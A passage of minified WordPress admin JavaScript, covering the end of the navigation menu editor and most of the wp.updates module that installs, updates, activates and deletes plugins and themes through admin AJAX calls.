t,e=/#(.*)$/.exec(e.href);if(e&&e[1]&&0!==(t=(e=k("#"+e[1])).parent()).length)return t.hasClass("menu-item-edit-inactive")?(e.data("menu-item-data")||e.data("menu-item-data",e.getItemData()),e.slideDown("fast"),t.removeClass("menu-item-edit-inactive").addClass("menu-item-edit-active")):(e.slideUp("fast"),t.removeClass("menu-item-edit-active").addClass("menu-item-edit-inactive")),!1},eventOnClickCancelLink:function(e){var t=k(e).closest(".menu-item-settings"),e=k(e).closest(".menu-item");return e.removeClass("menu-item-edit-active").addClass("menu-item-edit-inactive"),t.setItemData(t.data("menu-item-data")).hide(),e.find(".menu-item-title").text(t.data("menu-item-data")["menu-item-title"]),!1},eventOnClickMenuSave:function(){var e="",t=k("#menu-name"),n=t.val();return n&&n.replace(/\s+/,"")?(k("#nav-menu-theme-locations select").each(function(){e+='<input type="hidden" name="'+this.name+'" value="'+k(this).val()+'" />'}),k("#update-nav-menu").append(e),I.menuList.find(".menu-item-data-position").val(function(e){return e+1}),!(window.onbeforeunload=null)):(t.parent().addClass("form-invalid"),!1)},eventOnClickMenuDelete:function(){return!!window.confirm(wp.i18n.__("You are about to permanently delete this menu.\n'Cancel' to stop, 'OK' to delete."))&&!(window.onbeforeunload=null)},eventOnClickMenuItemDelete:function(e){e=parseInt(e.id.replace("delete-",""),10);return I.removeMenuItem(k("#menu-item-"+e)),I.registerChange(),!1},processQuickSearchQueryResponse:function(e,t,n){var i,a,s,m={},o=document.getElementById("nav-menu-meta"),u=/menu-item[(\[^]\]*/,e=k("<div>").html(e).find("li"),c=n.closest(".accordion-section-content"),l=c.find(".button-controls .select-all");e.length?(e.each(function(){if(s=k(this),(i=u.exec(s.html()))&&i[1]){for(a=i[1];o.elements["menu-item["+a+"][menu-item-type]"]||m[a];)a--;m[a]=!0,a!=i[1]&&s.html(s.html().replace(new RegExp("menu-item\\["+i[1]+"\\]","g"),"menu-item["+a+"]"))}}),k(".categorychecklist",n).html(e),k(".spinner",n).removeClass("is-active"),c.removeClass("has-no-menu-item"),l.is(":checked")&&l.prop("checked",!1)):(k(".categorychecklist",n).html("<li><p>"+wp.i18n.__("No results found.")+"</p></li>"),k(".spinner",n).removeClass("is-active"),c.addClass("has-no-menu-item"))},removeMenuItem:function(t){var n=t.childMenuItems();k(document).trigger("menu-removing-item",[t]),t.addClass("deleting").animate({opacity:0,height:0},350,function(){var e=k("#menu-instructions");t.remove(),n.shiftDepthClass(-1).updateParentMenuItemDBId(),0===k("#menu-to-edit li").length&&(k(".drag-instructions").hide(),e.removeClass("menu-instructions-inactive")),I.refreshAdvancedAccessibility(),wp.a11y.speak(menus.itemRemoved)})},depthToPx:function(e){return e*I.options.menuItemDepthPerLevel},pxToDepth:function(e){return Math.floor(e/I.options.menuItemDepthPerLevel)}};k(function(){wpNavMenu.init(),k(".menu-edit a, .menu-edit button, .menu-edit input, .menu-edit textarea, .menu-edit select").on("focus",function(){var e,t,n;783<=window.innerWidth&&(e=k("#nav-menu-footer").height()+20,0<(t=k(this).offset().top-(k(window).scrollTop()+k(window).height()-k(this).height()))&&(t=0),(t*=-1)<e)&&(n=k(document).scrollTop(),k(document).scrollTop(n+(e-t)))})}),k(document).on("menu-item-added",function(){k(".bulk-actions").is(":visible")||k(".bulk-actions").show()}),k(document).on("menu-removing-item",function(e,t){1===k(t).parents("#menu-to-edit").find("li").length&&k(".bulk-actions").is(":visible")&&k(".bulk-actions").hide()})}(jQuery);/*! This file is auto-generated */
!function(c,g,m){var f=c(document),h=g.i18n.__,d=g.i18n._x,i=g.i18n._n,o=g.i18n._nx,r=g.i18n.sprintf;(g=g||{}).updates={},g.updates.l10n={searchResults:"",searchResultsLabel:"",noPlugins:"",noItemsSelected:"",updating:"",pluginUpdated:"",themeUpdated:"",update:"",updateNow:"",pluginUpdateNowLabel:"",updateFailedShort:"",updateFailed:"",pluginUpdatingLabel:"",pluginUpdatedLabel:"",pluginUpdateFailedLabel:"",updatingMsg:"",updatedMsg:"",updateCancel:"",beforeunload:"",installNow:"",pluginInstallNowLabel:"",installing:"",pluginInstalled:"",themeInstalled:"",installFailedShort:"",installFailed:"",pluginInstallingLabel:"",themeInstallingLabel:"",pluginInstalledLabel:"",themeInstalledLabel:"",pluginInstallFailedLabel:"",themeInstallFailedLabel:"",installingMsg:"",installedMsg:"",importerInstalledMsg:"",aysDelete:"",aysDeleteUninstall:"",aysBulkDelete:"",aysBulkDeleteThemes:"",deleting:"",deleteFailed:"",pluginDeleted:"",themeDeleted:"",livePreview:"",activatePlugin:"",activateTheme:"",activatePluginLabel:"",activateThemeLabel:"",activateImporter:"",activateImporterLabel:"",unknownError:"",connectionError:"",nonceError:"",pluginsFound:"",noPluginsFound:"",autoUpdatesEnable:"",autoUpdatesEnabling:"",autoUpdatesEnabled:"",autoUpdatesDisable:"",autoUpdatesDisabling:"",autoUpdatesDisabled:"",autoUpdatesError:""},g.updates.l10n=window.wp.deprecateL10nObject("wp.updates.l10n",g.updates.l10n,"5.5.0"),g.updates.ajaxNonce=m.ajax_nonce,g.updates.searchTerm="",g.updates.shouldRequestFilesystemCredentials=!1,g.updates.filesystemCredentials={ftp:{host:"",username:"",password:"",connectionType:""},ssh:{publicKey:"",privateKey:""},fsNonce:"",available:!1},g.updates.ajaxLocked=!1,g.updates.adminNotice=g.template("wp-updates-admin-notice"),g.updates.queue=[],g.updates.$elToReturnFocusToFromCredentialsModal=void 0,g.updates.addAdminNotice=function(e){var t,a=c(e.selector),s=c(".wp-header-end");delete e.selector,t=g.updates.adminNotice(e),(a=a.length?a:c("#"+e.id)).length?a.replaceWith(t):s.length?s.after(t):"customize"===pagenow?c(".customize-themes-notifications").append(t):c(".wrap").find("> h1").after(t),f.trigger("wp-updates-notice-added")},g.updates.ajax=function(e,t){var a={};return g.updates.ajaxLocked?(g.updates.queue.push({action:e,data:t}),c.Deferred()):(g.updates.ajaxLocked=!0,t.success&&(a.success=t.success,delete t.success),t.error&&(a.error=t.error,delete t.error),a.data=_.extend(t,{action:e,_ajax_nonce:g.updates.ajaxNonce,_fs_nonce:g.updates.filesystemCredentials.fsNonce,username:g.updates.filesystemCredentials.ftp.username,password:g.updates.filesystemCredentials.ftp.password,hostname:g.updates.filesystemCredentials.ftp.hostname,connection_type:g.updates.filesystemCredentials.ftp.connectionType,public_key:g.updates.filesystemCredentials.ssh.publicKey,private_key:g.updates.filesystemCredentials.ssh.privateKey}),g.ajax.send(a).always(g.updates.ajaxAlways))},g.updates.ajaxAlways=function(e){e.errorCode&&"unable_to_connect_to_filesystem"===e.errorCode||(g.updates.ajaxLocked=!1,g.updates.queueChecker()),void 0!==e.debug&&window.console&&window.console.log&&_.map(e.debug,function(e){window.console.log(g.sanitize.stripTagsAndEncodeText(e))})},g.updates.refreshCount=function(){var e,t=c("#wp-admin-bar-updates"),a=c('a[href="update-core.php"] .update-plugins'),s=c('a[href="plugins.php"] .update-plugins'),n=c('a[href="themes.php"] .update-plugins');t.find(".ab-label").text(m.totals.counts.total),t.find(".updates-available-text").text(r(i("%s update available","%s updates available",m.totals.counts.total),m.totals.counts.total)),0===m.totals.counts.total&&t.find(".ab-label").parents("li").remove(),a.each(function(e,t){t.className=t.className.replace(/count-\d+/,"count-"+m.totals.counts.total)}),0<m.totals.counts.total?a.find(".update-count").text(m.totals.counts.total):a.remove(),s.each(function(e,t){t.className=t.className.replace(/count-\d+/,"count-"+m.totals.counts.plugins)}),0<m.totals.counts.total?s.find(".plugin-count").text(m.totals.counts.plugins):s.remove(),n.each(function(e,t){t.className=t.className.replace(/count-\d+/,"count-"+m.totals.counts.themes)}),0<m.totals.counts.total?n.find(".theme-count").text(m.totals.counts.themes):n.remove(),"plugins"===pagenow||"plugins-network"===pagenow?e=m.totals.counts.plugins:"themes"!==pagenow&&"themes-network"!==pagenow||(e=m.totals.counts.themes),0<e?c(".subsubsub .upgrade .count").text("("+e+")"):(c(".subsubsub .upgrade").remove(),c(".subsubsub li:last").html(function(){return c(this).children()}))},g.updates.setCardButtonStatus=function(e){var t=window.parent===window?null:window.parent;c.support.postMessage=!!window.postMessage,!1!==c.support.postMessage&&null!==t&&-1===window.parent.location.pathname.indexOf("index.php")&&t.postMessage(JSON.stringify(e),window.location.origin)},g.updates.decrementCount=function(e){m.totals.counts.total=Math.max(--m.totals.counts.total,0),"plugin"===e?m.totals.counts.plugins=Math.max(--m.totals.counts.plugins,0):"theme"===e&&(m.totals.counts.themes=Math.max(--m.totals.counts.themes,0)),g.updates.refreshCount(e)},g.updates.updatePlugin=function(e){var t,a,s,n=c("#wp-admin-bar-updates"),i=h("Updating..."),l="plugin-install"===pagenow||"plugin-install-network"===pagenow;return e=_.extend({success:g.updates.updatePluginSuccess,error:g.updates.updatePluginError},e),"plugins"===pagenow||"plugins-network"===pagenow?(a=(s=c('tr[data-plugin="'+e.plugin+'"]')).find(".update-message").removeClass("notice-error").addClass("updating-message notice-warning").find("p"),s=r(d("Updating %s...","plugin"),s.find(".plugin-title strong").text())):l&&(a=(t=c(".plugin-card-"+e.slug+", #plugin-information-footer")).find(".update-now").addClass("updating-message"),s=r(d("Updating %s...","plugin"),a.data("name")),t.removeClass("plugin-card-update-failed").find(".notice.notice-error").remove()),n.addClass("spin"),a.html()!==h("Updating...")&&a.data("originaltext",a.html()),a.attr("aria-label",s).text(i),f.trigger("wp-plugin-updating",e),l&&"plugin-information-footer"===t.attr("id")&&g.updates.setCardButtonStatus({status:"updating-plugin",slug:e.slug,addClasses:"updating-message",text:i,ariaLabel:s}),g.updates.ajax("update-plugin",e)},g.updates.updatePluginSuccess=function(e){var t,a,s,n=c("#wp-admin-bar-updates"),i=d("Updated!","plugin"),l=r(d("%s updated!","plugin"),e.pluginName);"plugins"===pagenow||"plugins-network"===pagenow?(a=(t=c('tr[data-plugin="'+e.plugin+'"]').removeClass("update is-enqueued").addClass("updated")).find(".update-message").removeClass("updating-message notice-warning").addClass("updated-message notice-success").find("p"),s=t.find(".plugin-version-author-uri").html().replace(e.oldVersion,e.newVersion),t.find(".plugin-version-author-uri").html(s),t.find(".auto-update-time").empty()):"plugin-install"!==pagenow&&"plugin-install-network"!==pagenow||(a=c(".plugin-card-"+e.slug+", #plugin-information-footer").find(".update-now").removeClass("updating-message").addClass("button-disabled updated-message")),n.removeClass("spin"),a.attr("aria-label",l).text(i),g.a11y.speak(h("Update completed successfully.")),"plugin_install_from_iframe"!==a.attr("id")?g.updates.decrementCount("plugin"):g.updates.setCardButtonStatus({status:"updated-plugin",slug:e.slug,removeClasses:"updating-message",addClasses:"button-disabled updated-message",text:i,ariaLabel:l}),f.trigger("wp-plugin-update-success",e)},g.updates.updatePluginError=function(e){var t,a,s,n,i,l=c("#wp-admin-bar-updates");g.updates.isValidResponse(e,"update")&&!g.updates.maybeHandleCredentialError(e,"update-plugin")&&(s=r(h("Update failed: %s"),e.errorMessage),"plugins"===pagenow||"plugins-network"===pagenow?(c('tr[data-plugin="'+e.plugin+'"]').removeClass("is-enqueued"),(a=(e.plugin?c('tr[data-plugin="'+e.plugin+'"]'):c('tr[data-slug="'+e.slug+'"]')).find(".update-message")).removeClass("updating-message notice-warning").addClass("notice-error").find("p").html(s),e.pluginName?a.find("p").attr("aria-label",r(d("%s update failed.","plugin"),e.pluginName)):a.find("p").removeAttr("aria-label")):"plugin-install"!==pagenow&&"plugin-install-network"!==pagenow||(n=h("Update failed."),(t=c(".plugin-card-"+e.slug+", #plugin-information-footer").append(g.updates.adminNotice({className:"update-message notice-error notice-alt is-dismissible",message:s}))).hasClass("plugin-card-"+e.slug)&&t.addClass("plugin-card-update-failed"),t.find(".update-now").text(n).removeClass("updating-message"),e.pluginName?(i=r(d("%s update failed.","plugin"),e.pluginName),t.find(".update-now").attr("aria-label",i)):(i="",t.find(".update-now").removeAttr("aria-label")),t.on("click",".notice.is-dismissible .notice-dismiss",function(){setTimeout(function(){t.removeClass("plugin-card-update-failed").find(".column-name a").trigger("focus"),t.find(".update-now").attr("aria-label",!1).text(h("Update Now"))},200)})),l.removeClass("spin"),g.a11y.speak(s,"assertive"),"plugin-information-footer"===t.attr("id")&&g.updates.setCardButtonStatus({status:"plugin-update-failed",slug:e.slug,removeClasses:"updating-message",text:n,ariaLabel:i}),f.trigger("wp-plugin-update-error",e))},g.updates.installPlugin=function(e){var t,a=c(".plugin-card-"+e.slug+", #plugin-information-footer"),s=a.find(".install-now"),n=h("Installing...");return e=_.extend({success:g.updates.installPluginSuccess,error:g.updates.installPluginError},e),(s="import"===pagenow?c('[data-slug="'+e.slug+'"]'):s).html()!==h("Installing...")&&s.data("originaltext",s.html()),t=r(d("Installing %s...","plugin"),s.data("name")),s.addClass("updating-message").attr("aria-label",t).text(n),g.a11y.speak(h("Installing... please wait.")),a.removeClass("plugin-card-install-failed").find(".notice.notice-error").remove(),f.trigger("wp-plugin-installing",e),"plugin-information-footer"===s.parent().attr("id")&&g.updates.setCardButtonStatus({status:"installing-plugin",slug:e.slug,addClasses:"updating-message",text:n,ariaLabel:t}),g.updates.ajax("install-plugin",e)},g.updates.installPluginSuccess=function(e){var t=c(".plugin-card-"+e.slug+", #plugin-information-footer").find(".install-now"),a=d("Installed!","plugin"),s=r(d("%s installed!","plugin"),e.pluginName);t.removeClass("updating-message").addClass("updated-message installed button-disabled").attr("aria-label",s).text(a),g.a11y.speak(h("Installation completed successfully.")),f.trigger("wp-plugin-install-success",e),e.activateUrl&&setTimeout(function(){g.updates.checkPluginDependencies({slug:e.slug})},1e3),"plugin-information-footer"===t.parent().attr("id")&&g.updates.setCardButtonStatus({status:"installed-plugin",slug:e.slug,removeClasses:"updating-message",addClasses:"updated-message installed button-disabled",text:a,ariaLabel:s})},g.updates.installPluginError=function(e){var t,a=c(".plugin-card-"+e.slug+", #plugin-information-footer"),s=a.find(".install-now"),n=h("Installation failed."),i=r(d("%s installation failed","plugin"),s.data("name"));g.updates.isValidResponse(e,"install")&&!g.updates.maybeHandleCredentialError(e,"install-plugin")&&(t=r(h("Installation failed: %s"),e.errorMessage),a.addClass("plugin-card-update-failed").append('<div class="notice notice-error notice-alt is-dismissible"><p>'+t+"</p></div>"),a.on("click",".notice.is-dismissible .notice-dismiss",function(){setTimeout(function(){a.removeClass("plugin-card-update-failed").find(".column-name a").trigger("focus")},200)}),s.removeClass("updating-message").addClass("button-disabled").attr("aria-label",i).text(n),g.a11y.speak(t,"assertive"),g.updates.setCardButtonStatus({status:"plugin-install-failed",slug:e.slug,removeClasses:"updating-message",addClasses:"button-disabled",text:n,ariaLabel:i}),f.trigger("wp-plugin-install-error",e))},g.updates.checkPluginDependencies=function(e){return e=_.extend({success:g.updates.checkPluginDependenciesSuccess,error:g.updates.checkPluginDependenciesError},e),g.a11y.speak(h("Checking plugin dependencies... please wait.")),f.trigger("wp-checking-plugin-dependencies",e),g.updates.ajax("check_plugin_dependencies",e)},g.updates.checkPluginDependenciesSuccess=function(e){var t,a,s=c(".plugin-card-"+e.slug+", #plugin-information-footer").find(".install-now");s.removeClass("install-now installed button-disabled updated-message").addClass("activate-now button-primary").attr("href",e.activateUrl),g.a11y.speak(h("Plugin dependencies check completed successfully.")),f.trigger("wp-check-plugin-dependencies-success",e),("plugins-network"===pagenow?(t=d("Network Activate","plugin"),a=r(d("Network Activate %s","plugin"),e.pluginName),s.attr("aria-label",a)):(t=d("Activate","plugin"),a=r(d("Activate %s","plugin"),e.pluginName),s.attr("aria-label",a).attr("data-name",e.pluginName).attr("data-slug",e.slug).attr("data-plugin",e.plugin))).text(t),"plugin-information-footer"===s.parent().attr("id")&&g.updates.setCardButtonStatus({status:"dependencies-check-success",slug:e.slug,removeClasses:"install-now installed button-disabled updated-message",addClasses:"activate-now button-primary",text:t,ariaLabel:a,pluginName:e.pluginName,plugin:e.plugin,href:e.activateUrl})},g.updates.checkPluginDependenciesError=function(e){var t,a=c(".plugin-card-"+e.slug+", #plugin-information-footer").find(".install-now"),s=d("Activate","plugin"),n=r(d("Cannot activate %1$s. %2$s","plugin"),e.pluginName,e.errorMessage);g.updates.isValidResponse(e,"check-dependencies")&&(t=r(h("Activation failed: %s"),e.errorMessage),g.a11y.speak(t,"assertive"),f.trigger("wp-check-plugin-dependencies-error",e),a.removeClass("install-now installed updated-message").addClass("activate-now button-primary").attr("aria-label",n).text(s),"plugin-information-footer"===a.parent().attr("id"))&&g.updates.setCardButtonStatus({status:"dependencies-check-failed",slug:e.slug,removeClasses:"install-now installed updated-message",addClasses:"activate-now button-primary",text:s,ariaLabel:n})},g.updates.activatePlugin=function(e){var t=c(".plugin-card-"+e.slug+", #plugin-information-footer").find(".activate-now, .activating-message");return e=_.extend({success:g.updates.activatePluginSuccess,error:g.updates.activatePluginError},e),g.a11y.speak(h("Activating... please wait.")),f.trigger("wp-activating-plugin",e),"plugin-information-footer"===t.parent().attr("id")&&g.updates.setCardButtonStatus({status:"activating-plugin",slug:e.slug,removeClasses:"installed updated-message button-primary",addClasses:"activating-message",text:h("Activating..."),ariaLabel:r(d("Activating %s","plugin"),e.name)}),g.updates.ajax("activate-plugin",e)},g.updates.activatePluginSuccess=function(e){var t=c(".plugin-card-"+e.slug+", #plugin-information-footer").find(".activating-message"),a=d("Activated!","plugin"),s=r("%s activated successfully.",e.pluginName);g.a11y.speak(h("Activation completed successfully.")),f.trigger("wp-plugin-activate-success",e),t.removeClass("activating-message").addClass("activated-message button-disabled").attr("aria-label",s).text(a),"plugin-information-footer"===t.parent().attr("id")&&g.updates.setCardButtonStatus({status:"activated-plugin",slug:e.slug,removeClasses:"activating-message",addClasses:"activated-message button-disabled",text:a,ariaLabel:s}),setTimeout(function(){t.removeClass("activated-message").text(d("Active","plugin")),"plugin-information-footer"===t.parent().attr("id")&&g.updates.setCardButtonStatus({status:"plugin-active",slug:e.slug,removeClasses:"activated-message",text:d("Active","plugin"),ariaLabel:r("%s is active.",e.pluginName)})},1e3)},g.updates.activatePluginError=function(e){var t,a=c(".plugin-card-"+e.slug+", #plugin-information-footer").find(".activating-message"),s=h("Activation failed."),n=r(d("%s activation failed","plugin"),e.pluginName);g.updates.isValidResponse(e,"activate")&&(t=r(h("Activation failed: %s"),e.errorMessage),g.a11y.speak(t,"assertive"),f.trigger("wp-plugin-activate-error",e),a.removeClass("install-now installed activating-message").addClass("button-disabled").attr("aria-label",n).text(s),"plugin-information-footer"===a.parent().attr("id"))&&g.updates.setCardButtonStatus({status:"plugin-activation-failed",slug:e.slug,removeClasses:"install-now installed activating-message",addClasses:"button-disabled",text:s,ariaLabel:n})},g.updates.installImporterSuccess=function(e){g.updates.addAdminNotice({id:"install-success",className:"notice-success is-dismissible",message:r(h('Importer installed successfully. <a href="%s">Run importer</a>'),e.activateUrl+"&from=import")}),c('[data-slug="'+e.slug+'"]').removeClass("install-now updating-message").addClass("activate-now").attr({href:e.activateUrl+"&from=import","aria-label":r(h("Run %s"),e.pluginName)}).text(h("Run Importer")),g.a11y.speak(h("Installation completed successfully.")),f.trigger("wp-importer-install-success",e)},g.updates.installImporterError=function(e){var t=r(h("Installation failed: %s"),e.errorMessage),a=c('[data-slug="'+e.slug+'"]'),s=a.data("name");g.updates.isValidResponse(e,"install")&&!g.updates.maybeHandleCredentialError(e,"install-plugin")&&(g.updates.addAdminNotice({id:e.errorCode,className:"notice-error is-dismissible",message:t}),a.removeClass("updating-message").attr("aria-label",r(d("Install %s now","plugin"),s)).text(d("Install Now","plugin")),g.a11y.speak(t,"assertive"),f.trigger("wp-importer-install-error",e))},g.updates.deletePlugin=function(e){var t=c('[data-plugin="'+e.plugin+'"]').find(".row-actions a.delete");return e=_.extend({success:g.updates.deletePluginSuccess,error:g.updates.deletePluginError},e),t.html()!==h("Deleting...")&&t.data("originaltext",t.html()).text(h("Deleting...")),g.a11y.speak(h("Deleting...")),f.trigger("wp-plugin-deleting",e),g.updates.ajax("delete-plugin",e)},g.updates.deletePluginSuccess=function(u){c('[data-plugin="'+u.plugin+'"]').css({backgroundColor:"#faafaa"}).fadeOut(350,function(){var e=c("#bulk-action-form"),t=c(".subsubsub"),a=c(this),s=t.find('[aria-current="page"]'),n=c(".displaying-num"),i=e.find("thead th:not(.hidden), thead td").length,l=g.template("item-deleted-row"),d=m.plugins;a.hasClass("plugin-update-tr")||a.after(l({slug:u.slug,plugin:u.plugin,colspan:i,name:u.pluginName})),a.remove(),-1!==_.indexOf(d.upgrade,u.plugin)&&(d.upgrade=_.without(d.upgrade,u.plugin),g.updates.decrementCount("plugin")),-1!==_.indexOf(d.inactive,u.plugin)&&(d.inactive=_.without(d.inactive,u.plugin),d.inactive.length?t.find(".inactive .count").text("("+d.inactive.length+")"):t.find(".inactive").remove()),-1!==_.indexOf(d.active,u.plugin)&&(d.active=_.without(d.active,u.plugin),d.active.length?t.find(".active .count").text("("+d.active.length+")"):t.find(".active").remove()),-1!==_.indexOf(d.recently_activated,u.plugin)&&(d.recently_activated=_.without(d.recently_activated,u.plugin),d.recently_activated.length?t.find(".recently_activated .count").text("("+d.recently_activated.length+")"):t.find(".recently_activated").remove()),-1!==_.indexOf(d["auto-update-enabled"],u.plugin)&&(d["auto-update-enabled"]=_.without(d["auto-update-enabled"],u.plugin),d["auto-update-enabled"].length?t.find(".auto-update-enabled .count").text("("+d["auto-update-enabled"].length+")"):t.find(".auto-update-enabled").remove()),-1!==_.indexOf(d["auto-update-disabled"],u.plugin)&&(d["auto-update-disabled"]=_.without(d["auto-update-disabled"],u.plugin),d["auto-update-disabled"].length?t.find(".auto-update-disabled .count").text("("+d["auto-update-disabled"].length+")"):t.find(".auto-update-disabled").remove()),d.all=_.without(d.all,u.plugin),d.all.length?t.find(".all .count").text("("+d.all.length+")"):(e.find(".tablenav").css({visibility:"hidden"}),t.find(".all").remove(),e.find("tr.no-items").length||e.find("#the-list").append('<tr class="no-items"><td class="colspanchange" colspan="'+i+'">'+h("No plugins are currently available.")+"</td></tr>")),n.length&&s.length&&(l=d[s.parent("li").attr("class")].length,n.text(r(o("%s item","%s items",l,"plugin/plugins"),l)))}),g.a11y.speak(d("Deleted!","plugin")),f.trigger("wp-plugin-delete-success",u)},g.updates.deletePluginError=function(e){var t,a=g.template("item-update-row"),s=g.updates.adminNotice({className:"update-message notice-error notice-alt",message:e.errorMessage}),n=e.plugin?(t=c('tr.inactive[data-plugin="'+e.plugin+'"]')).siblings('[data-plugin="'+e.plugin+'"]'):(t=c('tr.inactive[data-slug="'+e.slug+'"]')).siblings('[data-slug="'+e.slug+'"]');g.updates.isValidResponse(e,"delete")&&!g.updates.maybeHandleCredentialError(e,"delete-plugin")&&(n.length?(n.find(".notice-error").remove(),n.find(".plugin-update").append(s)):t.addClass("update").after(a({slug:e.slug,plugin:e.plugin||e.slug,colspan:c("#bulk-action-form").find("thead th:not(.hidden), thead td").length,content:s})),f.trigger("wp-plugin-delete-error",e))},g.updates.updateTheme=function(e){var t;return e=_.extend({success:g.updates.updateThemeSuccess,error:g.updates.updateThemeError},e),(t=("themes-network"===pagenow?c('[data-slug="'+e.slug+'"]').find(".update-message").removeClass("notice-error").addClass("updating-message notice-warning"):(t="customize"===pagenow?((t=c('[data-slug="'+e.slug+'"].notice').removeClass("notice-large")).find("h3").remove(),t.add(c("#customize-control-installed_theme_"+e.slug).find(".update-message"))):((t=c("#update-theme").closest(".notice").removeClass("notice-large")).find("h3").remove(),t.add(c('[data-slug="'+e.slug+'"]').find(".update-message")))).addClass("updating-message")).find("p")).html()!==h("Updating...")&&t.data("originaltext",t.html()),g.a11y.speak(h("Updating... please wait.")),t.text(h("Updating...")),f.trigger("wp-theme-updating",e),g.updates.ajax("update-theme",e)},g.updates.updateThemeSuccess=function(e){var t,a,s=c("body.modal-open").length,n=c('[data-slug="'+e.slug+'"]'),i={className:"updated-message notice-success notice-alt",message:d("Updated!","theme")};"customize"===pagenow?((n=c(".updating-message").siblings(".theme-name")).length&&(a=n.html().replace(e.oldVersion,e.newVersion),n.html(a)),t=c(".theme-info .notice").add(g.customize.control("installed_theme_"+e.slug).container.find(".theme").find(".update-message"))):"themes-network"===pagenow?(t=n.find(".update-message"),a=n.find(".theme-version-author-uri").html().replace(e.oldVersion,e.newVersion),n.find(".theme-version-author-uri").html(a),n.find(".auto-update-time").empty()):(t=c(".theme-info .notice").add(n.find(".update-message")),s?(c(".load-customize:visible").trigger("focus"),c(".theme-info .theme-autoupdate").find(".auto-update-time").empty()):n.find(".load-customize").trigger("focus")),g.updates.addAdminNotice(_.extend({selector:t},i)),g.a11y.speak(h("Update completed successfully.")),g.updates.decrementCount("theme"),f.trigger("wp-theme-update-success",e),s&&"customize"!==pagenow&&c(".theme-info .theme-author").after(g.updates.adminNotice(i))},g.updates.updateThemeError=function(e){var t,a=c('[data-slug="'+e.slug+'"]'),s=r(h("Update failed: %s"),e.errorMessage);g.updates.isValidResponse(e,"update")&&!g.updates.maybeHandleCredentialError(e,"update-theme")&&("customize"===pagenow&&(a=g.customize.control("installed_theme_"+e.slug).container.find(".theme")),"themes-network"===pagenow?t=a.find(".update-message "):(t=c(".theme-info .notice").add(a.find(".notice")),(c("body.modal-open").length?c(".load-customize:visible"):a.find(".load-customize")).trigger("focus")),g.updates.addAdminNotice({selector:t,className:"update-message notice-error notice-alt is-dismissible",message:s}),g.a11y.speak(s),f.trigger("wp-theme-update-error",e))},g.updates.installTheme=function(e){var t=c('.theme-install[data-slug="'+e.slug+'"]');return e=_.extend({success:g.updates.installThemeSuccess,error:g.updates.installThemeError},e),t.addClass("updating-message"),t.parents(".theme").addClass("focus"),t.html()!==h("Installing...")&&t.data("originaltext",t.html()),t.attr("aria-label",r(d("Installing %s...","theme"),t.data("name"))).text(h("Installing...")),g.a11y.speak(h("Installing... please wait.")),c('.install-theme-info, [data-slug="'+e.slug+'"]').removeClass("theme-install-failed").find(".notice.notice-error").remove(),f.trigger("wp-theme-installing",e),g.updates.ajax("install-theme",e)},g.updates.installThemeSuccess=function(e){var t,a=c(".wp-full-overlay-header, [data-slug="+e.slug+"]");f.trigger("wp-theme-install-success",e),t=a.find(".button-primary").removeClass("updating-message").addClass("updated-message disabled").attr("aria-label",r(d("%s installed!","theme"),e.themeName)).text(d("Installed!","theme")),g.a11y.speak(h("Installation completed successfully.")),setTimeout(function(){e.activateUrl&&(t.attr("href",e.activateUrl).removeClass("theme-install updated-message disabled").addClass("activate"),"themes-network"===pagenow?t.attr("aria-label",r(d("Network Activate %s","theme"),e.themeName)).text(h("Network Enable")):t.attr("aria-label",r(d("Activate %s","theme"),e.themeName)).text(d("Activate","theme"))),e.customizeUrl&&t.siblings(".preview").replaceWith(function(){return c("<a>").attr("href",e.customizeUrl).addClass("button load-customize").text(h("Live Preview"))})},1e3)},g.updates.installThemeError=function(e){var t,a=r(h("Installation failed: %s"),e.errorMessage),s=g.updates.adminNotice({className:"update-message notice-error notice-alt",message:a});g.updates.isValidResponse(e,"install")&&!g.updates.maybeHandleCredentialError(e,"install-theme")&&("customize"===pagenow?(f.find("body").hasClass("modal-open")?(t=c('.theme-install[data-slug="'+e.slug+'"]'),c(".theme-overlay .theme-info").prepend(s)):(t=c('.theme-install[data-slug="'+e.slug+'"]')).closest(".theme").addClass("theme-install-failed").append(s),g.customize.notifications.remove("theme_installing")):f.find("body").hasClass("full-overlay-active")?(t=c('.theme-install[data-slug="'+e.slug+'"]'),c(".install-theme-info").prepend(s)):t=c('[data-slug="'+e.slug+'"]').removeClass("focus").addClass("theme-install-failed").append(s).find(".theme-install"),t.removeClass("updating-message").attr("aria-label",r(d("%s installation failed","theme"),t.data("name"))).text(h("Installation failed.")),g.a11y.speak(a,"assertive"),f.trigger("wp-theme-install-error",e))},g.updates.deleteTheme=function(e){var t;return"themes"===pagenow?t=c(".theme-actions .delete-theme"):"themes-network"===pagenow&&(t=c('[data-slug="'+e.slug+'"]').find(".row-actions a.delete")),e=_.extend({success:g.updates.deleteThemeSuccess,error:g.updates.deleteThemeError},e),t&&t.html()!==h("Deleting...")&&t.data("originaltext",t.html()).text(h("Deleting...")),g.a11y.speak(h("Deleting...")),c(".theme-info .update-message").remove(),f.trigger("wp-theme-deleting",e),g.updates.ajax("delete-theme",e)},g.updates.deleteThemeSuccess=function(n){var e=c('[data-slug="'+n.slug+'"]');"themes-network"===pagenow&&e.css({backgroundColor:"#faafaa"}).fadeOut(350,function(){var e=c(".subsubsub"),t=c(this),a=m.themes,s=g.template("item-deleted-row");t.hasClass("plugin-update-tr")||t.after(s({slug:n.slug,colspan:c("#bulk-action-form").find("thead th:not(.hidden), thead td").length,name:t.find(".theme-title strong").text()})),t.remove(),-1!==_.indexOf(a.upgrade,n.slug)&&(a.upgrade=_.without(a.upgrade,n.slug),g.updates.decrementCount("theme")),-1!==_.indexOf(a.disabled,n.slug)&&(a.disabled=_.without(a.disabled,n.slug),a.disabled.length?e.find(".disabled .count").text("("+a.disabled.length+")"):e.find(".disabled").remove()),-1!==_.indexOf(a["auto-update-enabled"],n.slug)&&(a["auto-update-enabled"]=_.without(a["auto-update-enabled"],n.slug),a["auto-update-enabled"].length?e.find(".auto-update-enabled .count").text("("+a["auto-update-enabled"].length+")"):e.find(".auto-update-enabled").remove()),-1!==_.indexOf(a["auto-update-disabled"],n.slug)&&(a["auto-update-disabled"]=_.without(a["auto-update-disabled"],n.slug),a["auto-update-disabled"].length?e.find(".auto-update-disabled .count").text("("+a["auto-update-disabled"].length+")"):e.find(".auto-update-disabled").remove()),a.all=_.without(a.all,n.slug),e.find(".all .count").text("("+a.all.length+")")}),"themes"===pagenow&&_.find(_wpThemeSettings.themes,{id:n.slug}).hasUpdate&&g.updates.decrementCount("theme"),g.a11y.speak(d("Deleted!","theme")),f.trigger("wp-theme-delete-success",n)},g.updates.deleteThemeError=function(e){var 